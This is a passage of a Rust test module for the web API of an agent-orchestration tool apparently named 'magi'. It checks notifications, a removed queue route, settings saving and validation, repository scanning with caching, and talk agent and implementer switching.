12494        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12495        questions
12496            .update(&q.id, |q| {
12497                q.abandon("run gone");
12498                Ok(())
12499            })
12500            .unwrap();
12501        let listed = fx.get("/api/notifications").await.json();
12502        assert!(listed["items"][0]["answerable_question"].is_null());
12503        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12504        assert!(
12505            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12506                .unwrap()
12507                .contains("answerable_question")
12508        );
12509    }
12510
12511    #[tokio::test]
12512    async fn notifications_list_read_dismiss_and_health_agree() {
12513        let fx = Fixture::start().await;
12514        let store = Notices::at(fx.home.path().join("notifications"));
12515        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12516        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12517
12518        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12519        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12520
12521        store
12522            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12523            .unwrap();
12524        let health = fx.get("/api/health").await.json();
12525        assert_eq!(health["notifications_unread"], 2);
12526        assert_ne!(
12527            health["notifications_rev"], rev0,
12528            "the badge must move live"
12529        );
12530
12531        let listed = fx.get("/api/notifications").await.json();
12532        assert_eq!(listed["unread"], 2);
12533        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12534        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12535
12536        let read = fx
12537            .post(&format!("/api/notifications/{}/read", a.id), None)
12538            .await;
12539        assert_eq!(read.status, 200, "{}", read.body);
12540        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12541
12542        let gone = fx
12543            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12544            .await;
12545        assert_eq!(gone.status, 200, "{}", gone.body);
12546        let listed = fx.get("/api/notifications").await.json();
12547        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12548        assert_eq!(listed["unread"], 0);
12549
12550        store.raise(Notice::info("x", "again")).unwrap();
12551        let all = fx.post("/api/notifications/read-all", None).await;
12552        assert_eq!(all.status, 200, "{}", all.body);
12553        assert_eq!(all.json()["marked"], 1);
12554        assert_eq!(
12555            fx.get("/api/health").await.json()["notifications_unread"],
12556            0
12557        );
12558
12559        let missing = fx.post("/api/notifications/nope/read", None).await;
12560        assert_eq!(missing.status, 404, "{}", missing.body);
12561        assert!(missing.json()["error"].is_string());
12562    }
12563
12564    /// New work reaches the queue through `magi task add`, a standing talk's
12565    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12566    /// so the compose form and that route are gone. The tests that covered
12567    /// that route's validation went with it, and nothing was left asserting
12568    /// it stays gone — so a re-added handler would silently let the phone
12569    /// file briefs no one validated.
12570    #[tokio::test]
12571    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12572        let f = Fixture::start().await;
12573
12574        let res = f
12575            .post(
12576                "/api/queue",
12577                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12578            )
12579            .await;
12580
12581        assert_eq!(
12582            res.status, 405,
12583            "POST /api/queue must not be a route: {}",
12584            res.body
12585        );
12586        assert!(
12587            f.queue().list().is_empty(),
12588            "a task filed by a route that does not exist must not reach the disk"
12589        );
12590        // The path itself is still served — the Queue view reads it — and the
12591        // per-task controls are untouched by the entry being removed.
12592        assert_eq!(f.get("/api/queue").await.status, 200);
12593    }
12594
12595    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12596    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12597        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12598            .expect("checkout dir");
12599    }
12600
12601    /// Two command agents, so a config needs no real CLI.
12602    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12603
12604    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12605        let tmp = TempDir::new().expect("tempdir");
12606        let repo = tmp.path().join("repo");
12607        std::fs::create_dir_all(&repo).expect("repo dir");
12608        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12609        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12610        if let Some(text) = machine_toml {
12611            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12612            std::fs::write(&machine, text).expect("machine toml");
12613        }
12614        (tmp, repo, machine)
12615    }
12616
12617    async fn settings_checkout(path: &FsPath, text: &str) {
12618        std::fs::create_dir_all(path).unwrap();
12619        std::fs::write(path.join("magi.toml"), text).unwrap();
12620        for args in [
12621            vec!["init", "-b", "main"],
12622            vec!["add", "magi.toml"],
12623            vec![
12624                "-c",
12625                "user.name=Test",
12626                "-c",
12627                "user.email=test@example.invalid",
12628                "commit",
12629                "-m",
12630                "fixture",
12631            ],
12632            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12633            vec![
12634                "symbolic-ref",
12635                "refs/remotes/origin/HEAD",
12636                "refs/remotes/origin/main",
12637            ],
12638        ] {
12639            crate::git::git(path, &args).await.unwrap();
12640        }
12641    }
12642
12643    #[tokio::test]
12644    async fn settings_context_handlers_validate_and_save_without_a_socket() {
12645        let (tmp, repo, machine) =
12646            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12647        let root = tmp.path().join("roots");
12648        let selected = root.join("host/owner/selected");
12649        settings_checkout(
12650            &selected,
12651            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12652        )
12653        .await;
12654        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12655        let before = std::fs::read(&machine).unwrap();
12656        let ui = Arc::new(
12657            Ui::new(
12658                Queue::at(tmp.path().join("queue")),
12659                Questions::at(tmp.path().join("questions")),
12660                Talks::at(tmp.path().join("talks")),
12661                tmp.path().join("runs"),
12662                tmp.path().to_path_buf(),
12663                repo.clone(),
12664            )
12665            .with_machine_config(Some(machine.clone())),
12666        );
12667        let query = || {
12668            Query(SettingsQuery {
12669                repo: Some(selected.clone()),
12670            })
12671        };
12672        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12673        assert!(v.error.is_none(), "{:?}", v.error);
12674        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12675        assert_eq!(conductor.source, "repo");
12676        assert_eq!(
12677            conductor.machine_value,
12678            Some(toml::Value::String("a".into()))
12679        );
12680        assert!(!conductor.editable);
12681        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12682        assert_eq!(
12683            judges.count.as_ref().unwrap().machine_value,
12684            Some(toml::Value::Integer(1))
12685        );
12686        assert!(
12687            !v.roles
12688                .iter()
12689                .find(|r| r.key == "reviewers")
12690                .unwrap()
12691                .editable
12692        );
12693        let unknown = || {
12694            Query(SettingsQuery {
12695                repo: Some(tmp.path().to_path_buf()),
12696            })
12697        };
12698        assert_eq!(
12699            settings_get(State(ui.clone()), unknown())
12700                .await
12701                .unwrap_err()
12702                .status,
12703            StatusCode::UNPROCESSABLE_ENTITY
12704        );
12705        let body = || {
12706            Ok(Json(RolesBody {
12707                revision: v.revision.clone(),
12708                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12709                counts: Default::default(),
12710            }))
12711        };
12712        assert_eq!(
12713            settings_put_roles(State(ui.clone()), unknown(), body())
12714                .await
12715                .unwrap_err()
12716                .status,
12717            StatusCode::UNPROCESSABLE_ENTITY
12718        );
12719        assert_eq!(std::fs::read(&machine).unwrap(), before);
12720        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12721            .await
12722            .unwrap();
12723        assert_eq!(
12724            saved.repo,
12725            selected.canonicalize().unwrap().display().to_string()
12726        );
12727        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12728        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12729        // A cache miss refreshes the stable candidate list exactly for validation.
12730        let fresh = root.join("host/owner/fresh");
12731        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12732        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12733            .await
12734            .unwrap();
12735        assert_eq!(fresh_view.repositories.len(), 3);
12736    }
12737
12738    #[tokio::test]
12739    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12740        let (tmp, repo, machine) = settings_dirs(
12741            "[roles]\nreviewers = [\"a\"]\n",
12742            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12743        );
12744        let root = tmp.path().join("roots");
12745        let selected = root.join("host/owner/selected");
12746        settings_checkout(
12747            &selected,
12748            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12749        )
12750        .await;
12751        let broken = root.join("host/owner/broken");
12752        settings_checkout(&broken, "[roles\nbroken").await;
12753        let machine_text = format!(
12754            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12755            toml::Value::String(root.display().to_string())
12756        );
12757        std::fs::write(&machine, &machine_text).unwrap();
12758        let originals: Vec<_> = [&repo, &selected, &broken]
12759            .iter()
12760            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12761            .collect();
12762        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12763        let default = f.get("/api/settings").await.json();
12764        assert_eq!(
12765            default["repo"],
12766            repo.canonicalize().unwrap().display().to_string()
12767        );
12768        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12769        let query = format!("?repo={}", selected.display());
12770        let res = f.get(&format!("/api/settings{query}")).await;
12771        assert_eq!(res.status, 200, "{}", res.body);
12772        let v = res.json();
12773        assert!(v["error"].is_null(), "{v}");
12774        assert_eq!(v["repositories"], default["repositories"]);
12775        let role = |key: &str| {
12776            v["roles"]
12777                .as_array()
12778                .unwrap()
12779                .iter()
12780                .find(|r| r["key"] == key)
12781                .unwrap()
12782        };
12783        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12784        assert_eq!(role("advisors")["source"], "repo");
12785        assert_eq!(role("advisors")["editable"], false);
12786        assert!(role("advisors")["machine_value"].is_null());
12787        assert_eq!(role("judges")["count"]["value"], 2);
12788        assert_eq!(role("judges")["count"]["machine_value"], 1);
12789        assert_eq!(role("judges")["count"]["source"], "repo");
12790        let source = role("judges")["count"]["source_path"].as_str().unwrap();
12791        assert!(
12792            source.contains("origin/main") && !source.contains("magi/config/"),
12793            "{source}"
12794        );
12795        assert_eq!(
12796            role("reviewers")["editable"],
12797            false,
12798            "default context outside roots must protect its declarations"
12799        );
12800        let body =
12801            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12802        let unknown = format!("?repo={}", tmp.path().display());
12803        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12804        assert_eq!(
12805            f.put(&format!("/api/settings/roles{unknown}"), &body)
12806                .await
12807                .status,
12808            422
12809        );
12810        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12811        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12812            .to_string();
12813        assert_eq!(
12814            f.put(&format!("/api/settings/roles{query}"), &refuse)
12815                .await
12816                .status,
12817            422
12818        );
12819        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12820        assert_eq!(saved.status, 200, "{}", saved.body);
12821        assert_eq!(saved.json()["repo"], v["repo"]);
12822        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12823        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12824        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12825            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12826        }
12827        let error = f
12828            .get(&format!("/api/settings?repo={}", broken.display()))
12829            .await;
12830        assert_eq!(error.status, 200);
12831        assert!(error.json()["error"]["message"].is_string());
12832        assert_eq!(error.json()["repositories"], default["repositories"]);
12833    }
12834
12835    #[tokio::test]
12836    async fn settings_get_reports_sources_and_the_advisors_fallback() {
12837        let (_tmp, repo, machine) =
12838            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12839        let f = Fixture::with_repo_and_machine(repo, machine).await;
12840        let res = f.get("/api/settings").await;
12841        assert_eq!(res.status, 200, "{}", res.body);
12842        let v = res.json();
12843        assert!(v["error"].is_null(), "{v}");
12844        let role = |k: &str| {
12845            v["roles"]
12846                .as_array()
12847                .and_then(|r| r.iter().find(|x| x["key"] == k))
12848                .cloned()
12849                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12850        };
12851        assert_eq!(role("judges")["source"], "machine");
12852        assert_eq!(role("judges")["editable"], true);
12853        assert_eq!(role("implementers")["source"], "default");
12854        let adv = role("advisors");
12855        assert_eq!(adv["fallback"], "judges");
12856        assert!(
12857            adv["seats"]
12858                .as_array()
12859                .is_some_and(|s| s.iter().all(|x| x == "b")),
12860            "{adv}"
12861        );
12862        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12863        assert_eq!(v["agents"][0]["source"], "repo");
12864    }
12865
12866    #[tokio::test]
12867    async fn settings_get_reports_a_config_that_does_not_parse() {
12868        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12869        let f = Fixture::with_repo_and_machine(repo, machine).await;
12870        let res = f.get("/api/settings").await;
12871        assert_eq!(res.status, 200, "{}", res.body);
12872        let v = res.json();
12873        assert!(v["error"]["message"].is_string(), "{v}");
12874        assert!(
12875            v["error"]["path"]
12876                .as_str()
12877                .is_some_and(|p| p.ends_with("magi.toml")),
12878            "{v}"
12879        );
12880        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12881    }
12882
12883    #[tokio::test]
12884    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12885        let (_tmp, repo, machine) = settings_dirs(
12886            SETTINGS_AGENTS,
12887            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
12888        );
12889        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12890        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12891        let rev = f.get("/api/settings").await.json()["revision"]
12892            .as_str()
12893            .expect("revision")
12894            .to_owned();
12895        let body = serde_json::json!({
12896            "revision": rev,
12897            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12898        })
12899        .to_string();
12900        let res = f.put("/api/settings/roles", &body).await;
12901        assert_eq!(res.status, 200, "{}", res.body);
12902        let text = std::fs::read_to_string(&machine).expect("machine");
12903        assert_eq!(
12904            text,
12905            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12906        );
12907        assert_eq!(
12908            std::fs::read(repo.join("magi.toml")).expect("read"),
12909            repo_before
12910        );
12911        let again = f.get("/api/settings").await.json();
12912        let judges = again["roles"]
12913            .as_array()
12914            .expect("roles")
12915            .iter()
12916            .find(|r| r["key"] == "judges")
12917            .expect("judges")
12918            .clone();
12919        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12920        // The old revision is now stale.
12921        let stale = f.put("/api/settings/roles", &body).await;
12922        assert_eq!(stale.status, 409, "{}", stale.body);
12923    }
12924
12925    #[tokio::test]
12926    async fn settings_counts_are_reported_and_saved() {
12927        let (_tmp, repo, machine) = settings_dirs(
12928            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12929            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12930        );
12931        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12932        let v = f.get("/api/settings").await.json();
12933        let count = |v: &serde_json::Value, k: &str| {
12934            v["roles"]
12935                .as_array()
12936                .and_then(|r| r.iter().find(|x| x["key"] == k))
12937                .map(|x| x["count"].clone())
12938                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12939        };
12940        let imp = count(&v, "implementers");
12941        assert_eq!(imp["value"], 2);
12942        assert_eq!(imp["source"], "machine");
12943        assert_eq!(imp["file_key"], "candidates");
12944        assert_eq!(imp["roster_len"], 2);
12945        assert_eq!(imp["backups"], 0);
12946        assert_eq!(count(&v, "judges")["source"], "default");
12947        assert_eq!(count(&v, "advisors")["min"], 0);
12948        assert_eq!(count(&v, "reviewers")["editable"], false);
12949        assert!(
12950            count(&v, "reviewers")["locked_reason"]
12951                .as_str()
12952                .is_some_and(|m| m.contains("graph.reviewers"))
12953        );
12954        assert!(count(&v, "fixer").is_null());
12955        let rev = v["revision"].as_str().expect("revision").to_owned();
12956        let body = serde_json::json!({
12957            "revision": rev,
12958            "roles": { "judges": ["b"] },
12959            "counts": { "implementers": 1, "advisors": 0 }
12960        })
12961        .to_string();
12962        let res = f.put("/api/settings/roles", &body).await;
12963        assert_eq!(res.status, 200, "{}", res.body);
12964        let text = std::fs::read_to_string(&machine).expect("machine");
12965        assert_eq!(
12966            text,
12967            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12968        );
12969        let after = f.get("/api/settings").await.json();
12970        assert_eq!(count(&after, "implementers")["value"], 1);
12971        assert_eq!(count(&after, "implementers")["backups"], 1);
12972        assert_eq!(count(&after, "advisors")["value"], 0);
12973        let before = std::fs::read_to_string(&machine).expect("machine");
12974        let rev = after["revision"].as_str().expect("revision").to_owned();
12975        for counts in [
12976            serde_json::json!({ "judges": 0 }),
12977            serde_json::json!({ "judges": "x" }),
12978            serde_json::json!({ "judges": 2.5 }),
12979            serde_json::json!({ "judges": -1 }),
12980            serde_json::json!({ "reviewers": 3 }),
12981            serde_json::json!({ "bogus": 3 }),
12982        ] {
12983            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12984            let res = f.put("/api/settings/roles", &body).await;
12985            assert_eq!(res.status, 422, "{counts}: {}", res.body);
12986            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12987        }
12988    }
12989
12990    #[tokio::test]
12991    async fn settings_put_refuses_without_touching_the_file() {
12992        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12993        let (_tmp, repo, machine) = settings_dirs(
12994            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12995            Some(machine_text),
12996        );
12997        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12998        let rev = f.get("/api/settings").await.json()["revision"]
12999            .as_str()
13000            .expect("revision")
13001            .to_owned();
13002        for roles in [
13003            serde_json::json!({ "judges": ["nope"] }),
13004            serde_json::json!({ "reviewers": ["b"] }),
13005            serde_json::json!({ "bogus": ["a"] }),
13006        ] {
13007            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13008            let res = f.put("/api/settings/roles", &body).await;
13009            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13010            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13011            assert_eq!(
13012                std::fs::read_to_string(&machine).expect("machine"),
13013                machine_text
13014            );
13015        }
13016    }
13017
13018    #[tokio::test]
13019    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13020        let tmp = TempDir::new().expect("tempdir");
13021        let repo = tmp.path().join("repo");
13022        std::fs::create_dir_all(&repo).expect("repo dir");
13023        let root = tmp.path().join("root");
13024        make_checkout(&root, "github.com", "yukimemi", "magi");
13025        std::fs::write(
13026            repo.join("magi.toml"),
13027            format!(
13028                "[repos]\nroots = [{:?}]\n",
13029                root.to_string_lossy().into_owned()
13030            ),
13031        )
13032        .expect("write magi.toml");
13033
13034        let f = Fixture::with_repo(repo).await;
13035        let res = f.get("/api/repos").await;
13036        assert_eq!(res.status, 200, "{}", res.body);
13037        let list = res.json();
13038        let repos = list.as_array().expect("an array");
13039        assert_eq!(repos.len(), 1);
13040        assert_eq!(repos[0]["name"], "yukimemi/magi");
13041        assert!(
13042            repos[0]["path"]
13043                .as_str()
13044                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13045            "{list}"
13046        );
13047    }
13048
13049    #[tokio::test]
13050    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13051        let tmp = TempDir::new().expect("tempdir");
13052        let repo = tmp.path().join("repo");
13053        std::fs::create_dir_all(&repo).expect("repo dir");
13054        let root = tmp.path().join("root");
13055        make_checkout(&root, "github.com", "yukimemi", "magi");
13056        std::fs::write(
13057            repo.join("magi.toml"),
13058            format!(
13059                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13060                root.to_string_lossy().into_owned()
13061            ),
13062        )
13063        .expect("write magi.toml");
13064
13065        let f = Fixture::with_repo(repo).await;
13066        let first = f.get("/api/repos").await;
13067        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13068
13069        // A second checkout appears; within the TTL the cached answer must
13070        // not notice it.
13071        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13072        let second = f.get("/api/repos").await;
13073        assert_eq!(
13074            second.json().as_array().map(Vec::len),
13075            Some(1),
13076            "a fresh cache must not rescan inside the TTL"
13077        );
13078
13079        let refreshed = f.get("/api/repos?refresh=1").await;
13080        assert_eq!(
13081            refreshed.json().as_array().map(Vec::len),
13082            Some(2),
13083            "an explicit refresh must rescan even inside the TTL"
13084        );
13085    }
13086
13087    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13088    /// string, declared straight in a repository's own `magi.toml` rather
13089    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13090    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13091    /// this is safe to run over a real HTTP round trip.
13092    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13093
13094    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13095    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13096    /// even though it takes no turn, and `talk_say` invokes one.
13097    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13098        let tmp = TempDir::new().expect("tempdir");
13099        let repo = tmp.path().join("repo");
13100        std::fs::create_dir_all(&repo).expect("repo dir");
13101        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13102        let f = Fixture::with_repo(repo.clone()).await;
13103        (tmp, repo, f)
13104    }
13105
13106    #[tokio::test]
13107    async fn posting_a_talk_with_remembered_choices_is_soft() {
13108        let (_tmp, _repo, f) = talk_fixture().await;
13109
13110        let good = f
13111            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13112            .await;
13113        assert_eq!(good.status, 201, "{}", good.body);
13114        assert_eq!(good.json()["persona"], "rei");
13115
13116        // Wrong values and wrong types are dropped one by one, never a 4xx.
13117        let stale = f
13118            .post(
13119                "/api/talks",
13120                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13121            )
13122            .await;
13123        assert_eq!(stale.status, 201, "{}", stale.body);
13124        let v = stale.json();
13125        assert_eq!(v["implementers"], 1);
13126        assert_ne!(v["persona"], "nobody");
13127        let typed = f
13128            .post(
13129                "/api/talks",
13130                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13131            )
13132            .await;
13133        assert_eq!(typed.status, 201, "{}", typed.body);
13134
13135        // The strict `agent` field still refuses an unknown id.
13136        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13137        assert!(
13138            !strict.status.to_string().starts_with('2'),
13139            "{}",
13140            strict.body
13141        );
13142    }
13143
13144    #[tokio::test]
13145    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13146        let (_tmp, _repo, f) = talk_fixture().await;
13147
13148        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13149        // is the ordinary way a phone opens a talk.
13150        let opened = f.post("/api/talks", None).await;
13151        assert_eq!(opened.status, 201, "{}", opened.body);
13152        let body = opened.json();
13153        assert_eq!(body["status"], "open");
13154        assert_eq!(
13155            body["turns"].as_array().unwrap().len(),
13156            0,
13157            "opening takes no agent turn: there is nothing yet to answer"
13158        );
13159
13160        // An explicit empty object is the same request as none at all.
13161        let also_opened = f.post("/api/talks", Some("{}")).await;
13162        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13163
13164        let listed = f.get("/api/talks").await.json();
13165        assert_eq!(listed.as_array().unwrap().len(), 2);
13166    }
13167
13168    #[tokio::test]
13169    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13170        let tmp = TempDir::new().expect("tempdir");
13171        let repo = tmp.path().join("repo");
13172        std::fs::create_dir_all(&repo).expect("repo dir");
13173        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13174        std::fs::write(
13175            repo.join("magi.toml"),
13176            format!("{MOCK_AGENT_TOML}\n{second}"),
13177        )
13178        .expect("write magi.toml");
13179        let home = TempDir::new().expect("temp home");
13180        let talks = Talks::at(home.path().join("talks"));
13181        let ui = Arc::new(
13182            Ui::new(
13183                Queue::at(home.path().join("queue")),
13184                Questions::at(home.path().join("questions")),
13185                talks.clone(),
13186                home.path().join("runs"),
13187                home.path().to_path_buf(),
13188                repo.clone(),
13189            )
13190            .with_worktrees_root(home.path().join("wt")),
13191        );
13192        let cfg = config_for(&repo).await.expect("discover config");
13193        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13194        let id = talk.id.clone();
13195        let call = |agent: &str| {
13196            talk_agent(
13197                State(Arc::clone(&ui)),
13198                Path(id.clone()),
13199                Json(TalkAgent {
13200                    agent: agent.to_owned(),
13201                }),
13202            )
13203        };
13204
13205        let unknown = call("nobody").await.expect_err("unknown agent");
13206        assert_eq!(
13207            unknown.status,
13208            StatusCode::BAD_REQUEST,
13209            "{}",
13210            unknown.message
13211        );
13212
13213        {
13214            // Nothing refused so far took a claim, so the guard is free to take
13215            // and holding it is what makes the talk busy.
13216            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13217            let busy = call("second").await.expect_err("busy talk");
13218            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13219            assert!(
13220                busy.message.contains("a talk turn is running"),
13221                "{}",
13222                busy.message
13223            );
13224            drop(guard);
13225        }
13226        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13227
13228        let Json(view) = call("second").await.expect("switch");
13229        assert_eq!(view.talk.agent, "second");
13230        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13231        let saved = talks.get(&id).expect("reload");
13232        assert_eq!(saved.agent, "second");
13233        assert_eq!(saved.turns.len(), 1);
13234        assert!(!view.thinking);
13235        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13236        for agent in ["mock", "second"] {
13237            let Json(view) = call(agent).await.expect("immediate consecutive change");
13238            assert_eq!(view.talk.agent, agent);
13239            assert!(!view.thinking);
13240            assert!(!ui.is_thinking(&id));
13241        }
13242
13243        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13244            .await
13245            .expect("detail");
13246        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13247        assert_eq!(roster, ["mock", "second"]);
13248
13249        let mut closed = talks.get(&id).expect("reload");
13250        talk::close(&mut closed, &talks).expect("close");
13251        let refused = call("mock").await.expect_err("closed talk");
13252        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13253        assert!(
13254            refused.message.contains("takes no more turns"),
13255            "{}",
13256            refused.message
13257        );
13258    }
13259
13260    #[tokio::test]
13261    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13262        let tmp = TempDir::new().expect("tempdir");
13263        let repo = tmp.path().join("repo");
13264        std::fs::create_dir_all(&repo).expect("repo dir");
13265        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13266        let home = TempDir::new().expect("temp home");
13267        let talks = Talks::at(home.path().join("talks"));
13268        let ui = Arc::new(
13269            Ui::new(
13270                Queue::at(home.path().join("queue")),
13271                Questions::at(home.path().join("questions")),
13272                talks.clone(),
13273                home.path().join("runs"),
13274                home.path().to_path_buf(),
13275                repo.clone(),
13276            )
13277            .with_worktrees_root(home.path().join("wt")),
13278        );
13279        let cfg = config_for(&repo).await.expect("discover config");
13280        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13281        let id = talk.id.clone();
13282        let call = |n: u8| {
13283            talk_implementers(
13284                State(Arc::clone(&ui)),
13285                Path(id.clone()),
13286                Json(TalkImplementers { implementers: n }),
13287            )
13288        };
13289
13290        for bad in [0u8, 4] {
13291            let e = call(bad).await.expect_err("out of range");
13292            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13293        }
13294        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13295
13296        {
13297            // Nothing refused so far took a claim, so the guard is free to take
13298            // and holding it is what makes the talk busy.
13299            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13300            let busy = call(2).await.expect_err("busy talk");
13301            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13302            assert!(
13303                busy.message.contains("a talk turn is running"),
13304                "{}",
13305                busy.message
13306            );
13307            drop(guard);
13308        }
13309
13310        let Json(view) = call(3).await.expect("switch");
13311        assert_eq!(view.talk.implementers, 3);
13312        assert!(talks.get(&id).expect("reload").implementers_dirty);
13313        assert!(!view.thinking);
13314        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13315        for n in [1, 2, 3] {
13316            let Json(view) = call(n).await.expect("immediate consecutive change");
